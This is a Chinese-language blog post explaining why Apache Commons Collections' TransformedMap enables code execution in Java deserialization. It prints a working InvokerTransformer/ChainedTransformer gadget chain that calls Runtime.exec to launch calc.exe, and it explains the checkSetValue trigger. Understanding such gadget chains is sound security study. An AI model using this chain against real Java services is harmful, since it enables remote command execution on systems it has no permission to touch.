java反序列化 - transformedMap类能够执行恶意代码的原理

java反序列化 - transformedMap类能够执行恶意代码的原理

0x00 代码

Map map=new HashMap();
         map.put("key","value");
         //调用目标对象的toString方法
         String command="calc.exe";
         final String[] execArgs = new String[] { command };
         final Transformer[] transformers = new Transformer[] {
                 new ConstantTransformer(Runtime.class),
                 new InvokerTransformer("getMethod", new Class[] {
                         String.class, Class[].class }, new Object[] {
                         "getRuntime", new Class[0] }),
                 new InvokerTransformer("invoke", new Class[] {
                         Object.class, Object[].class }, new Object[] {
                         null, new Object[0] }),
                 new InvokerTransformer("exec",
                         new Class[] { String.class }, execArgs)
         };
         Transformer transformer=new ChainedTransformer(transformers);
         Map<String, Object> transformedMap=TransformedMap.decorate(map,null,transformer);

         for (Map.Entry<String,Object> entry:transformedMap.entrySet()){
            System.out.println(entry);
             entry.setValue("anything");
         }

执行结果：

0x01 transformedMap类为何能够执行恶意代码？

经过上一篇https://blog.51cto.com/13770310/2160737文章， 可知ChainedTransformer的transformer方法能够执行恶意代码。
上述代码的关键是：

for (Map.Entry<String,Object> entry:transformedMap.entrySet()){
            System.out.println(entry);
             entry.setValue("anything");
         }

为何执行了 entry.setValue("anything");就能够形成恶意代码执行呢？接下来咱们看transformedMap类的checkSetValue方法：

/**
     * Override to transform the value when using <code>setValue</code>.
     * 
     * @param value  the value to transform
     * @return the transformed value
     * @since Commons Collections 3.1
     */
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

当transformedMap对象执行setValue方法时会调用valueTransformer的transform方法，若是传入的valueTransformer是ChainedTransformer的对象，那不就能够形成恶意代码执行了吗。
接着查看上面代码：

所以该代码的核心仍是使用的ChainedTransformer的transformer方法